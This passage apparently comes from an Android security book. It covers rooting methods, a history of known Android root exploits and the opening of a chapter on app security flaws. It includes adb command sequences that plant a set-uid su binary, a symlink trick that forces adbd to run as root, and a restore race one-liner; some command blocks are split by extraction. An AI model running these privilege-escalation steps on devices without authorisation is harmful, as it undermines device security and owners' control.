of your choice.
1. You should place both downloads into the device’s storage, typically on
the SD card mounted as /sdcard.
2. Next, put the device into fastboot mode.
3. Now, open a command prompt, and type fastboot boot recovery.img,
where recovery.img is the raw recovery image you downloaded.
4. From the recovery menu, select the option to apply an update zip file and
browse to the folder on your device storage where you have placed the
update package with the su binary.
Additionally, devices using Android 4.1 or later contain a new feature called
sideload. This feature allows applying an update zip over ADB without copying it to the device beforehand. To sideload an update, run the command adb
sideload su-package.zip, where su-package.zip is the filename of the update
package on your computer’s hard drive.
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After unlocking the boot loader on some devices, you can boot unsigned
code but you can’t flash unsigned code. In this case, flashing a custom system
or recovery image is only possible after gaining root on the booted system. In
this scenario, you would use dd to write a custom recovery image directly to
the block device for the recovery partition.
Rooting with a Locked Boot Loader
When the boot loader is locked, and the manufacturer doesn’t provide a legitimate method to unlock it, you usually need to find a flaw in the device that will
serve as an entry point for rooting it.
First you need to identify which type of boot loader lock you have; it can
vary depending on the manufacturer, carrier, device variant, or software version within the same device. Sometimes, fastboot access is forbidden but you
can still flash using the manufacturer’s proprietary flashing protocol, such as
Motorola SBF or Samsung ODIN. Sometimes signature checks on the same
device are enforced differently when using fastboot instead of the manufacturer’s proprietary download mode. Signature checking can happen at boot
time, at flashing time, or both.
Some locked boot loaders only enforce signature verification on selected
partitions; a typical example is having locked boot and recovery partitions. In
this case booting a custom kernel or a modified recovery image is not allowed,
but you can still modify the system partition. In this scenario, you can perform
rooting by editing the system partition of a stock image as described in the
“Rooting with an Unlocked Boot Loader” section.
On some devices, where the boot partition is locked and booting a custom
kernel is forbidden, it is possible to flash a custom boot image in the recovery
partition and boot the system with the custom kernel by booting in recovery
mode when powering on the phone. In this case, it is possible to get root access
through adb shell by modifying the default.prop file of the custom boot
image initrd, as you’ll see in the “Abusing adbd to Get Root” section. On some
devices, the stock recovery image allows applying updates signed with the default
Android test key. This key is a generic key for packages that do not otherwise
specify a key. It is included in the build/target/product/security directory
in the AOSP source tree. You can root by applying a custom update package
containing the su binary. It is unknown whether the manufacturer has left this
on purpose or not, but this is known to work on some Samsung devices with
Android 4.0 and stock recovery 3e.
In the worst-case scenario, boot loader restrictions won’t allow you to boot
with a partition that fails signature verification. In this case, you have to use
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other techniques to achieve root access, as described in the “Gaining Root on
a Booted System” section.
Gaining Root on a Booted System
Gaining initial root access on a booted system consists of getting a root shell
through an unpatched security flaw in the Android operating system. A rooting method like this is also widely known as a soft root because the attack is
almost entirely software based. Usually, a soft root is accomplished through a
vulnerability in the Android kernel, a process running as root, a vulnerable
program with the set-uid bit set, a symbolic link attack against a file permission
bug, or other issues. There are a vast number of possibilities due to the sheer
number of areas in which issues could be introduced and types of mistakes
programmers could make.
Although root set-uid or set-gid binaries are not common in stock Android,
carriers or device manufacturers sometimes introduce them as part of their
custom modifications. A typical security flaw in any of these set-uid binaries
can lead to privilege escalation and subsequently yield root access.
Another typical scenario is exploiting a security vulnerability in a process
running with root privileges. Such an exploit enables you to execute arbitrary
code as root. The end of this chapter includes some examples of this.
As you will see in Chapter 12, these exploits are becoming more difficult to
develop as Android matures. New mitigation techniques and security hardening features are regularly introduced with new Android releases.
Abusing adbd to Get Root
It is important to understand that the adbd daemon will start running as root
and drop its privileges to the shell user (AID_SHELL) unless the system property
ro.secure is set to 0. This property is read-only and is usually set to ro.secure=1
by the boot image initrd.
The adbd daemon will also start as root without dropping privileges to shell
if the property ro.kernel.qemu is set to 1 (to start adbd running as root on the
Android emulator), but this is also a read-only property that will not normally
be set on a real device.
Android versions before 4.2 will read the /data/local.prop file on boot and
apply any properties set in this file. As of Android 4.2 this file will only be read
on non-user builds, if ro.debuggable is set to 1.
The /data/local.prop file and the ro.secure and ro.kernel.qemu properties are of key importance for gaining root access. Keep those in mind, as you
will see some exploits using them in the “History of Known Attacks” section
later in this chapter.
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NAND Locks, Temporary Root, and Permanent Root
Some HTC devices have a security flag (@secuflag) in the radio Non-Volatile
Random Access Memory (NVRAM) which is checked by the device boot loader
(HBOOT). When this flag is set to “true” the boot loader displays a “security
on” message (S-ON) and a NAND lock is enforced. The NAND lock prevents
writing to the system, boot, and recovery partitions. With S-ON, a reboot loses
root, and writes on these partitions won’t stick. This makes custom system
ROMs, custom kernels, and custom recovery modifications impossible.
It is still possible to gain root access through an exploit for a sufficiently severe
vulnerability. However, the NAND lock causes any changes to be lost on reboot.
This is known as a temporary root in the Android modding community.
To achieve a permanent root on HTC devices with a NAND lock, one of two
things must be done. First, you can disable the security flag in the baseband.
Second, you can flash the device with a patched or engineering HBOOT that
does not enforce NAND locking. In both cases, the boot loader displays a security
off message (S-OFF). Figure 3-3 shows a locked and unlocked HTC HBOOT.
Figure 3-3: Locked and Unlocked HTC HBOOT
Before HTC provided the official boot loader unlock procedure in August 2011,
a patched HBOOT was the only solution available. This could be accomplished
on some devices by unofficial boot loader unlock tools such as AlphaRev (available at http://alpharev.nl/) and Unrevoked (available at http://unrevoked
.com/), which later merged into the Revolutionary.io tool (available at http://
revolutionary.io/). Those tools usually combine multiple public or private
exploits to be able to flash the patched boot loader and bypass NAND locks. In
most cases, reflashing a stock HBOOT re-enables the device security flag (S-ON).
The Unlimited.io exploits available at http://unlimited.io/ , such as
JuopunutBear, LazyPanda, and DirtyRacun, allow gaining full radio S-OFF on
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some devices by combining several exploits present in HTC’s Android ROMs
and the device’s baseband.
In December 2010, Scott Walker published the gfree exploit available at https://
github.com/tmzt/g2root-kmod/tree/master/scotty2/gfree under the GPL3
license. This exploit disabled the embedded MultiMediaCard (eMMC) protection
of the T-Mobile G2. The eMMC memory, which holds the baseband partition,
is booted in read-only mode when the bootloader initializes the hardware. The
exploit then power-cycles the eMMC chip by using a Linux kernel module and
sets the @secuflag to false. Finally, it installs a MultiMediaCard (MMC) block
request filter in the kernel to remove the write protection on the hidden radio
settings partition.
When HTC started its official unlock portal, it provided HBOOT images for
some devices which allow the user to unlock the boot loader—and remove
NAND locks—in two steps:
1. First the user should run the command fastboot oem get_identifier_
token. The boot loader displays a blob that the user should submit to
HTC’s unlock portal.
2. After submitting the identifier token, the user receives an Unlock_code
.bin file unique for his phone. This file is signed with HTC’s private key
and should be flashed to the device using the command fastboot flash
unlocktoken Unlock_code.bin.
If the Unlock_code.bin file is valid, the phone allows using the standard
fastboot flash commands to flash unsigned partition images. Further, it
enables booting such unsigned partition images without restrictions. Figure
3-4 depicts the general workflow for unlocking devices. HTC and Motorola are
two OEMs that utilize this type of process.
Other devices, such as some Toshiba tablets, also have NAND locks. For
those devices, the locks are enforced by the sealime Loadable Kernel Module,
which resides in the boot image initrd. This module is based on SEAndroid and
prevents remounting the system partition for writing.
Persisting a Soft Root
When you have a root shell (soft root), achieving permanent root access is
straightforward. On phones without NAND locks, you only need write access
to the system partition. If the phone has a NAND lock, it should be removed
first (refer to the “NAND Locks, Temporary Root, and Permanent Root” section
earlier in this chapter).
With NAND locks out of the picture, you can simply remount the system
partition in read/write mode, place an su binary with set-uid root permissions,
and remount it in read-only mode again; optionally, you can install an su wrapper such as SuperUser or SuperSU.
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Boot Loader
Locked Device
Unlock Portal
Boot Loader
Unlocked
Step 1
Step 2
Step 3
Step 4
User gets the phone’s
unlock token using
fastboot
User submits the
unlock token token to
the OEM unlock portal
The unlock portal
validates the
token and sends
the unlock key
The user unlock the
device using the
provided unlock key
and fastboot
USER
Figure 3-4: General boot loader unlock workflow
A typical way of automating the process just described is by running the
following commands from a host computer connected to an Android device
with USB debugging enabled:
adb
adb
adb
adb
adb
adb
shell mount -o remount,rw /system
adb push su /system/xbin/su
shell chown 0.0 /system/xbin/su
shell chmod 06755 /system/xbin/su
shell mount -o remount,ro /system
install Superuser.apk
Another way of retaining persistent root access is by writing a custom recovery
into the recovery partition using the dd command on the Android device. This
is equivalent to flashing a custom recovery via fastboot or download mode, as
described in the “Rooting with an Unlocked Boot Loader” section earlier in
this chapter.
First, you need to identify the location of the recovery partition on the device.
For example:
[email protected]:/ # ls -l /dev/block/platform/*/by-name/recovery
lrwxrwxrwx root root 2012-11-20 14:53 recovery -> /dev/block/mmcblk0p7
The preceding output shows the recovery partition in this case is located at
/dev/block/mmcblk0p7.
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You can now push a custom recovery image onto the SD card and write it to
the recovery partition:
adb shell push custom-recovery.img /sdcard/
adb shell dd if=/sdcard/custom-recovery.img of=/dev/block/mmcblk0p7
Finally, you need to reboot into the custom recovery and apply the su update
package.
adb reboot recovery
History of Known Attacks
The remainder of this section discusses numerous previously known methods
for gaining root access to Android devices. By presenting these issues, we hope
to provide insight into the possible ways you can gain root access to Android
devices. Although a few of these issues affect the larger Linux ecosystem, most
are Android specific. Many of these issues cannot be exploited without access
to the ADB shell. In each case we discuss the root cause of the vulnerability and
key details of how the exploit leveraged it.
N O T E The astute reader may notice that several of the following issues were
unknowingly discovered by multiple, separate parties. Although this is not a common
occurrence, it does happen from time to time.
Some of the exploitation details provided in this section are rather technical.
If they are overwhelming, or you are already intimately familiar with the inner
workings of these exploits, feel free to skip past them. In any case, this section
serves to document these exploits in moderate detail. Chapter 8 covers a few of
these exploits in more detail.
Kernel: Wunderbar/asroot
This bug was discovered by Tavis Ormandy and Julien Tinnes of the Google
Security Team and was assigned CVE-2009-2692:
The Linux kernel 2.6.0 through 2.6.30.4 and 2.4.4 through 2.4.37.4, does
not initialize all function pointers for socket operations in proto_ops structures, which allows local users to trigger a NULL pointer dereference and
gain privileges by using mmap to map page zero, placing arbitrary code on
this page, and then invoking an unavailable operation, as demonstrated by
the sendpage operation (sock_sendpage function) on a PF_PPPOX socket.
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Brad Spengler (spender) wrote the Wunderbar emporium exploit for x86/
x86_64, which is where this bug got its famous name. However, the exploit for
Android (Linux on the ARM architecture) was released by Christopher Lais
(Zinx), is named asroot, and is published at http://g1files.webs.com/Zinx
/android-root-20090816.tar.gz. This exploit worked on all Android versions
that used a vulnerable kernel.
The asroot exploit introduces a new “.NULL” section at address 0 with the exact
size of a page. This section contains code that sets the current user identifier
(UID) and group identifier (GID) to root. Next, the exploit calls sendfile to cause
a sendpage operation on a PF _BLUETOOTH socket with missing initialization
of the proto _ops structure. This causes the code in the “.NULL” section to be
executed in kernel mode, yielding a root shell.
Recovery: Volez
A typographical error in the signature verifier used in Android 2.0 and 2.0.1
recovery images caused the recovery to incorrectly detect the End of Central
Directory (EOCD) record inside a signed update zip file. This issue resulted in
the ability to modify the contents of a signed OTA recovery package.
The signature verifier error was spotted by Mike Baker ([mbm]) and it was
abused to root the Motorola Droid when the first official OTA package was
released. By creating a specially crafted zip file, it was possible to inject an su
binary into the signed OTA zip file. Later, Christopher Lais (Zinx) wrote Volez,
a utility for creating customized update zip files out of a valid signed update
zip, which is available at http://zenthought.org/content/project/volez.
Udev: Exploid
This vulnerability affected all Android versions up to 2.1. It was originally
discovered as a vulnerability in the udev daemon used on x86 Linux systems.
It was assigned CVE-2009-1185. Later, Google reintroduced the issue in the init
daemon, which handles the udev functionality in Android.
The exploit relies on udev code failing to verify the origin of a NETLINK
message. This failure allows a user-space process to gain privileges by sending a udev event claiming to originate from the kernel, which was trusted. The
original Exploid exploit released by Sebastian Krahmer (“The Android Exploid
Crew”) had to be run from a writable and executable directory on the device.
First, the exploit created a socket with a domain of PF_NETLINK and a family of NETLINK _KOBJECT _UEVENT (kernel message to user-space event).
Second, it created a file hotplug in the current directory, containing the path to
the exploid binary. Third, it created a symbolic link called data in the current
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directory, pointing to /proc/sys/kernel/hotplug. Finally, it sent a spoofed
message to the NETLINK socket.
When init received this message, and failed to validate its origin, it proceeded to copy the contents of the hotplug file to the file data. It did this with
root privileges. When the next hotplug event occurred (such as disconnecting
and reconnecting the Wi-Fi interface), the kernel executed the exploid binary
with root privileges.
At this point, the exploit code detected it was running with root privileges.
It proceeded to remount the system partition in read/write mode and created
a set-uid root shell as /system/bin/rootshell.
Adbd: RageAgainstTheCage
As discussed in the “Abusing adbd to Get Root” section, the ADB daemon (adbd
process) starts running as root and drops privileges to the shell user. In Android
versions up to 2.2, the ADB daemon did not check the return value of the setuid
call when dropping privileges. Sebastian Krahmer used this missing check in
adbd to create the RageAgainstTheCage exploit available at http://stealth
.openwall.net/xSports/RageAgainstTheCage.tgz.
The exploit has to be run through the ADB shell (under the shell UID). Basically,
it forks processes until the fork call fails, meaning that the limit of process for
that user has been reached. This is a kernel-enforced hard limit called RLIMIT _
NPROC, which specifies the maximum number of processes (or threads) that
can be created for the real UID of the calling process. At this point, the exploit
kills adbd, causing it to restart (as root again). Unfortunately, this time adbd
can’t drop privileges to shell because the process limit has been reached for
that user. The setuid call fails, adbd doesn’t detect this failure, and therefore
continues running with root privileges. Once successful, adbd provides a root
shell through adb shell command.
Zygote: Zimperlich and Zysploit
Recall from Chapter 2 that all Android applications start by being forked from
the Zygote process. As you might guess, the zygote process runs as root. After
forking, the new process drops its privileges to the UID of the target application
using the setuid call.
Very similar to RageAgainstTheCage, the Zygote process in Android versions
up to 2.2 failed to check the return value of the call to setuid when dropping
privileges. Again, after exhausting the maximum number of processes for the
application’s UID, zygote fails to lower its privileges and launches the application as root.
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This vulnerability was exploited by Joshua Wise in early releases of the
Unrevoked unlock tool. Later, when Sebastian Krahmer made the Zimperlich
exploit sources public at http://c-skills.blogspot.com.es/2011/02/
zimperlich-sources.html, Joshua Wise decided to open source his Zysploit
implementation too, available at https://github.com/unrevoked/zysploit.
Ashmem: KillingInTheNameOf and psneuter
The Android Shared Memory (ashmem) subsystem is a shared memory allocator. It is similar to POSIX Shared Memory (SHM), but with different behavior
and a simpler file-based application programming interface (API). The shared
memory can be accessed via mmap or file I/O.
Two popular root exploits used a vulnerability in the ashmem implementation
of Android versions prior to 2.3. In affected versions, ashmem allowed any user
to remap shared memory belonging to the init process. This shared memory
contained the system properties address space, which is a critical global data
store for the Android operating system. This vulnerability has the Common
Vulnerabilities and Exposures (CVE) identifier CVE-2011-1149.
The KillingInTheNameOf exploit by Sebastian Krahmer remapped the system properties space to be writable and set the ro.secure property to 0. After
rebooting or restarting adbd, the change in the ro.secure property enabled
root access through the ADB shell. You can download the exploit from http://
c-skills.blogspot.com.es/2011/01/adb-trickery-again.html.
The psneuter exploit by Scott Walker (scotty2), used the same vulnerability
to restrict permissions to the system properties space. By doing so, adbd could
not read the value of the ro.secure property to determine whether or not to
drop privileges to the shell user. Unable to determine the value of ro.secure,
it assumed that ro.secure value was 0 and didn’t drop privileges. Again, this
enabled root access through the ADB shell. You can download psneuter at
https://github.com/tmzt/g2root-kmod/tree/scotty2/scotty2/psneuter.
Vold: GingerBreak
This vulnerability has been assigned CVE-2011-1823 and was first demonstrated
by Sebastian Krahmer in the GingerBreak exploit, available at http://c-skills
.blogspot.com.es/2011/04/yummy-yummy-gingerbreak.html.
The volume manager daemon (vold) on Android 3.0 and 2.x before 2.3.4
trusts messages that are received from a PF_NETLINK socket, which allows
executing arbitrary code with root privileges via a negative index that
bypasses a maximum-only signed integer check.
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Prior to triggering the vulnerability, the exploit collects various information
from the system. First, it opens /proc/net/netlink and extracts the process identifier (PID) of the vold process. It then inspects the system’s C library (libc.so)
to find the system and strcmp symbol addresses. Next, it parses the Executable
and Linkable Format (ELF) header of the vold executable to locate the Global
Offset Table (GOT) section. It then parses the vold.fstab file to find the device’s
/sdcard mount point. Finally, in order to discover the correct negative index
value, it intentionally crashes the service while monitoring logcat output.
After collecting information, the exploit triggers the vulnerability by sending
malicious NETLINK messages with the calculated negative index value. This
causes vold to change entries in its own GOT to point to the system function.
After one of the targeted GOT entries is overwritten, vold ends up executing
the GingerBreak binary with root privileges.
When the exploit binary detects that it has been executed with root privileges,
it launches the final stage. Here, the exploit first remounts /data to remove the
nosuid flag. Then it makes /data/local/tmp/sh set-uid root. Finally, it exits the
new process (running as root) and executes the newly created set-uid root shell
from the original exploit process.
A more detailed case study of this vulnerability is provided in the “GingerBreak”
section of Chapter 8.
PowerVR: levitator
In October 2011, Jon Larimer and Jon Oberheide released the levitator exploit at
http://jon.oberheide.org/files/levitator.c. This exploit uses two distinct
vulnerabilities that affect Android devices with the PowerVR SGX chipset. The
PowerVR driver in Android versions up to 2.3.5 specifically contained the following issues.
CVE-2011-1350: The PowerVR driver fails to validate the length parameter
provided when returning a response data to user mode from an ioctl system call, causing it to leak the contents of up to 1MB of kernel memory.
CVE-2011-1352: A kernel memory corruption vulnerability that leads any
user with access to /dev/pvrsrvkm to have write access to the previous
leaked memory.
The levitator exploit takes advantage of these two vulnerabilities to surgically
corrupt kernel memory. After achieving privilege escalation, it spawns a shell.
A more detailed case study of this vulnerability is provided in Chapter 10.
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Libsysutils: zergRush
The Revolutionary team released the popular zergRush exploit in October 2011;
sources are available at https://github.com/revolutionary/zergRush. The
vulnerability exploited was assigned CVE-2011-3874, as follows:
Stack-based buffer overflow in libsysutils in Android 2.2.x through 2.2.2
and 2.3.x through 2.3.6 allows user-assisted remote attackers to execute
arbitrary code via an application that calls the FrameworkListener::
dispatchCommand method with the wrong number of arguments, as
demonstrated by zergRush to trigger a use-after-free error.
The exploit uses the Volume Manager daemon to trigger the vulnerability,
as it is linked against the libsysutils.so library and runs as root. Because the
stack is non-executable, the exploit constructs a Return Oriented Programming
(ROP) chain using gadgets from libc.so library. It then sends vold a specially
crafted FrameworkCommand object, making the RunCommand point to the exploit’s
ROP payload. This executes the payload with root privileges, which drops a root
shell and changes the ro.kernel.qemu property to 1. As mentioned previously,
this causes ADB to restart with root privileges.
A more detailed case study of this vulnerability is provided in Chapter 8.
Kernel: mempodroid
The vulnerability was discovered by Jüri Aedla, and was assigned CVE identifier CVE-2012-0056:
The mem_write function in Linux kernel 2.6.39 and other versions, when
ASLR is disabled, does not properly check permissions when writing to /
proc/<pid>/mem, which allows local users to gain privileges by modifying
process memory, as demonstrated by Mempodipper.
The /proc/<pid>/mem proc file system entry is an interface that can be used
to access the pages of a process’s memory through POSIX file operations such
as open, read, and lseek. In kernel version 2.6.39, the protections to access other
processes memory were mistakenly removed.
Jay Freeman (saurik) wrote the mempodroid exploit for Android based on
a previous Linux exploit, mempodipper, by Jason A. Donenfeld (zx2c4). The
mempodroid exploit uses this vulnerability to write directly to the code segment of the run-as program. This binary, used to run commands as a specific
application UID, runs set-uid root on stock Android. Because run-as is statically
linked on Android, the exploit needs the address in memory of the setresuid
call and the exit function, so that the payload can be placed exactly at the right
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place. Sources for the mempodroid exploit are available at https://github.
com/saurik/mempodroid.
A more detailed case study of this vulnerability is provided in Chapter 8.
File Permission and Symbolic Link–Related Attacks
There are plenty of file permission and symbolic link–related attacks present in
a range of devices. Most of them are introduced by custom OEM modifications
that are not present in stock Android. Dan Rosenberg has discovered many of
these bugs and has provided very creative root methods for a comprehensive
list of devices in his blog at http://vulnfactory.org/blog/.
Initial versions of Android 4.0 had a bug in the init functions for do_chmod,
mkdir, and do_chown that applied the ownership and file permissions specified
even if the last element of their target path was a symbolic link. Some Android
devices have the following line in their init.rc script.
mkdir /data/local/tmp 0771 shell shell
As you can guess now, if the /data/local folder is writeable by the user or
group shell, you can exploit this flaw to make the /data folder writeable by
replacing /data/local/tmp with a symbolic link to /data and rebooting the
device. After rebooting, you can create or modify the /data/local.prop file to
set the property ro.kernel.qemu to 1.
The commands to exploit this flaw are as follows:
adb
adb
adb
adb
adb
shell rm -r /data/local/tmp
shell ln -s /data/ /data/local/tmp
reboot
shell "echo 'ro.kernel.qemu=1' > /data/local.prop"
reboot
Another popular variant of this vulnerability links /data/local/tmp to the
system partition and then uses debugfs to write the su binary and make it setuid root. For example, the ASUS Transformer Prime running Android 4.0.3 is
vulnerable to this variant.
The init scripts in Android 4.2 apply O _NOFOLLOW semantics to prevent
this class of symbolic link attacks.
Adb Restore Race Condition
Android 4.0 introduced the ability to do full device backups through the adb
backup command. This command backs up all data and applications into the
file backup.ab, which is a compressed TAR file with a prepended header. The
adb restore command is used to restore the data.
There were two security issues in the initial implementation of the restore
process that were fixed in Android 4.1.1. The first issue allowed creating files and
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directories accessible by other applications. The second issue allowed restoring
file sets from packages that run under a special UID, such as system, without a
special backup agent to handle the restore process.
To exploit these issues, Andreas Makris (Bin4ry) created a specially crafted
backup file with a world readable/writeable/executable directory containing
100 files with the content ro.kernel.qemu=1 and ro.secure=0 inside it. When
the contents of this file are written to /data/local.prop, it makes adbd run
with root privileges on boot. The original exploit can be downloaded at http://
forum.xda-developers.com/showthread.php?t=1886460.
The following one-liner, if executed while the adb restore command is running, causes a race between the restore process in the backup manager service
and the while loop run by the shell user:
adb shell "while ! ln -s /data/local.prop \
/data/data/com.android.settings/a/file99; do :; done"
If the loop creates the symbolic link in file99 before the restore process restores
it, the restore process follows the symbolic link and writes the read-only system
properties to /data/local.prop, making adbd run as root in the next reboot.
Exynos4: exynos-abuse
This vulnerability exists in a Samsung kernel driver and affects devices
with an Exynos 4 processor. Basically, any application can access the /dev
/exynosmem device file, which allows mapping all physical RAM with read and
write permissions.
The vulnerability was discovered by alephzain, who wrote the exynosabuse exploit to demonstrate it and reported it on XDA-developers forums. The
original post is available at http://forum.xda-developers.com/showthread
.php?t=2048511.
First, the exploit maps kernel memory and changes the format string for the
function handling /proc/kallsyms in order to avoid the kptr_restrict kernel mitigation. Then it parses /proc/kallsyms to find the address of the sys_setresuid
system call handler function. Once found, it patches the function to remove
a permission check and executes the setresuid system call in user space to
become root. Finally, it reverses the changes it made to kernel memory and
executes a root shell.
Later, alephzain created a one-click rooting application called Framaroot.
Framaroot embeds three variants of the original bug, which each allows unprivileged users to map arbitrary physical memory. This application works on devices
based on the Exynos4 chipset and as well as devices based on the TI OMAP3
chipset. Most notably, alephzain discovered that Samsung did not properly fix
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the Exynos4 issue. He embedded a new exploit in Framaroot that exploits an
integer overflow present in the Samsung fix. This allows bypassing the additional
validation and again enables overwriting kernel memory. These new exploits
were silently included in Farmaroot by alephzain and later uncovered and
documented by Dan Rosenberg at http://blog.azimuthsecurity.com/2013/02/
re-visiting-exynos-memory-mapping-bug.html.
Diag: lit / diaggetroot
This vulnerability was discovered by giantpune and was assigned CVE identifier CVE-2012-4220:
diagchar_core.c in the Qualcomm Innovation Center (QuIC) Diagnostics
(aka DIAG) kernel-mode driver for Android 2.3 through 4.2 allows attackers to execute arbitrary code or cause a denial of service (incorrect pointer
dereference) via an application that uses crafted arguments in a local
diagchar_ioctl call.
The lit exploit used this vulnerability to cause the kernel to execute native
code from user-space memory. By reading from the /sys/class/leds/
lcd-backlight/reg file, it was possible to cause the kernel to process data
structures in user-space memory. During this processing, it called a function
pointer from one of the structures, leading to privilege escalation.
The diaggetroot exploit, for the HTC J Butterfly device, also used this vulnerability. However, on that device, the vulnerable character device is only accessible by user or group radio. To overcome this situation, the researcher abused
a content provider to obtain an open file descriptor to the device. Gaining
root using this method was only possible with the combination of the two
techniques. You can download the exploit code at https://docs.google.com/
file/d/0B8LDObFOpzZqQzducmxjRExXNnM/edit?pli=1.
Summary
Rooting an Android device gives you full control over the Android system.
However, if you don’t take any precautions to fix the open paths to gain root
access, the system security can be easily compromised by an attacker.
This chapter described the key concepts to understand the rooting process. It
went through legitimate boot loader unlock methods, such as the ones present
in devices with an unlocked boot loader, as well as other methods that allow
gaining and persisting root access on a device with a locked boot loader. Finally,
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you saw an overview of the most famous root exploits that have been used during the past decade to root many Android devices.
The next chapter dives into Android application security. It covers common
security issues affecting Android applications and demonstrates how to use
free, public tools to perform application security assessments.
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4
Reviewing Application Security
Application security has been a hot-button topic since even before Android
existed. During the onset of the web application craze, developers flocked to
quickly develop applications, overlooking basic security practices or using
frameworks without adequate security controls. With the advent of mobile
applications, that very same cycle is repeating. This chapter begins by discussing some common security issues in Android applications. It concludes with
two case studies demonstrating discovery and exploitation of application flaws
using common tools.
Common Issues
With traditional application security, there are numerous issues that crop up
repeatedly in security assessment and vulnerability reports. Types of issues
range from sensitive information leaks to critical code or command execution
vulnerabilities. Android applications aren’t immune to these flaws, although
the vectors to reach those flaws may differ from traditional applications.
This section covers some of the security issues typically found during Android
app security testing engagements and public research. This is certainly not an
exhaustive list. As secure app development practices become more commonplace, and Android’s own application programming interfaces (APIs) evolve,
83
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it is likely that other flaws—perhaps even new classes of issues—will come to
the forefront.
App Permission Issues
Given the granularity of the Android permission model, there is an opportunity
for developers to request more permissions for their app than may be required.
This behavior may be due in part to inconsistencies in permission enforcement
and documentation. Although the developer reference docs describe most of the
permission requirements for given classes and methods, they’re not 100 percent
complete or 100 percent accurate. Research teams have attempted to identify
some of these inconsistencies in various ways. For example, in 2012, researchers
Andrew Reiter and Zach Lanier attempted to map out the permission requirements for the Android API available in Android Open Source Project (AOSP).
This led to some interesting conclusions about these gaps.
Among some of the findings in this mapping effort, they discovered inconsistencies between documentation and implementation for some methods in
the WiFiManager class. For example, the developer documentation does not
mention permission requirements for the startScan method. Figure 4-1 shows
a screenshot of the Android development documentation of this method.
Figure 4-1: Documentation for startScan
This differs from the actual source code for this method (in Android 4.2),
which indicates a call to enforceCallingOrSelfPermission, which checks
to see if the caller bears the ACCESS_WIFI_STATE permission by way of
enforceChangePermission:
public void startScan(boolean forceActive) {
enforceChangePermission();
mWifiStateMachine.startScan(forceActive);
noteScanStart();
}
...
private void enforceChangePermission() {
mContext.enforceCallingOrSelfPermission(android.Manifest.
permission.CHANGE_WIFI_STATE,
"WifiService");
}
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Another example is the g e t N e i g h b o r i n g C e l l I n f o method in the
TelephonyManager class, whose documentation specifies a required permission of ACCESS_COARSE_UPDATES. Figure 4-2 shows a screenshot of the Android
development documentation for this method.
Figure 4-2: Documentation for getNeighboringCellInfo
However, if you look through the source code of the PhoneInterfaceManager
class (in Android 4.2), which implements the Telephony interface, you see the
getNeighboringCellInfo method actually checks for the presence of the ACCESS_
FINE_LOCATION or ACCESS_COARSE_LOCATION permissions—neither of which are
the nonexistent, invalid permission specified in the documentation:
public List<NeighboringCellInfo> getNeighboringCellInfo() {
try {
mApp.enforceCallingOrSelfPermission(
android.Manifest.permission.ACCESS_FINE_LOCATION,
null);
} catch (SecurityException e) {
// If we have ACCESS_FINE_LOCATION permission, skip the check
// for ACCESS_COARSE_LOCATION
// A failure should throw the SecurityException from
// ACCESS_COARSE_LOCATION since this is the weaker precondition
mApp.enforceCallingOrSelfPermission(
android.Manifest.permission.ACCESS_COARSE_LOCATION, null);
}
These kinds of oversights, while perhaps seemingly innocuous, often lead to
bad practices on the part of developers, namely undergranting or, worse, overgranting of permissions. In the case of undergranting, it’s often a reliability or functionality issue, as an unhandled SecurityException leads to the app crashing.
As for overgranting, it’s more a security issue; imagine a buggy, overprivileged
app exploited by a malicious app, effectively leading to privilege escalation.
For more information on the permission mapping research, see
www.slideshare.net/quineslideshare/mapping-and-evolution-of-androidpermissions.
When analyzing Android applications for excessive permissions, it’s important
to compare what permissions are requested to what the application’s purpose
really is. Certain permissions, such as CAMERA and SEND_SMS, might be excessive
for a third-party app. For these, the desired functionality can be achieved by
deferring to the Camera or Messaging applications, and letting them handle
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the task (with the added safety of user intervention). The “Mobile Security
App” case study later in the chapter demonstrates how to identify where in the
application’s components those permissions are actually exercised.
Insecure Transmission of Sensitive Data
Because it receives constant scrutiny, the overall idea of transport security (for
example, SSL, TLS, and so on) is generally well understood. Unfortunately, this
doesn’t always apply in the mobile application world. Perhaps due to a lack of
understanding about how to properly implement SSL or TLS, or just the incorrect
notion that “if it’s over the carrier’s network, it’s safe,” mobile app developers
sometimes fail to protect sensitive data in transit.
This issue tends to manifest in one or more of the following ways:
■
Weak encryption or lack of encryption
■
Strong encryption, but lack of regard for security warnings or certificate
validation errors
■
Use of plain text after failures
■
Inconsistent use of transport security per network type (for example, cell
versus Wi-Fi)
Discovering insecure transmission issues can be as simple as capturing traffic
sent from the target device. Details on building a man-in-the-middle rig are outside the scope of this book, but numerous tools and tutorials exist for facilitating
this task. In a pinch, the Android emulator supports both proxying of traffic as
well as dumping traffic to a PCAP-format packet trace. You can achieve this by
passing the -http-proxy or -tcpdump options, respectively.
A prominent public example of insecure data transmission was in the implementation of Google ClientLogin authentication protocol in certain components
of Android 2.1 through 2.3.4. This protocol allows for applications to request an
authentication token for the user’s Google account, which can then be reused
for subsequent transactions against a given service’s API.
In 2011, University of Ulm researchers found that the Calendar and Contacts
apps on Android 2.1 through 2.3.3 and the Picasa Sync service on Android 2.3.4
sent the Google ClientLogin authentication token over plaintext HTTP. After
an attacker obtained this token, it could be reused to impersonate the user. As
numerous tools and techniques exist for conducting man-in-the-middle attacks
on Wi-Fi networks, interception of this token would be easy—and would spell
bad news for a user on a hostile or untrusted Wi-Fi network.
For more information on the University of Ulm’s Google ClientLogin findings,
see www.uni-ulm.de/en/in/mi/staff/koenings/catching-authtokens.html.
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Insecure Data Storage
Android offers multiple standard facilities for data storage—namely Shared
Preferences, SQLite databases, and plain old files. Furthermore, each of these
storage types can be created and accessed in various ways, including managed
and native code, or through structured interfaces like Content Providers. The
most common mistakes include plaintext storage of sensitive data, unprotected
Content Providers (discussed later), and insecure file permissions.
One cohesive example of both plaintext storage and insecure file permissions
is the Skype client for Android, which was found to have these problems in
April 2011. Reported by Justin Case (jcase) via http://AndroidPolice.com, the
Skype app created numerous files, such as SQLite databases and XML files, with
world-readable and world-writable permissions. Furthermore, the content was
unencrypted and included configuration data and IM logs. The following output shows jcase’s own Skype app data directory, as well as partial file contents:
# ls -l /data/data/com.skype.merlin_mecha/files/jcaseap
-rw-rw-rw- app_152 app_152 331776 2011-04-13 00:08 main.db
-rw-rw-rw- app_152 app_152 119528 2011-04-13 00:08 main.db-journal
-rw-rw-rw- app_152 app_152
40960 2011-04-11 14:05 keyval.db
-rw-rw-rw- app_152 app_152
3522 2011-04-12 23:39 config.xml
drwxrwxrwx app_152 app_152
2011-04-11 14:05 voicemail
-rw-rw-rw- app_152 app_152
0 2011-04-11 14:05 config.lck
-rw-rw-rw- app_152 app_152
61440 2011-04-13 00:08 bistats.db
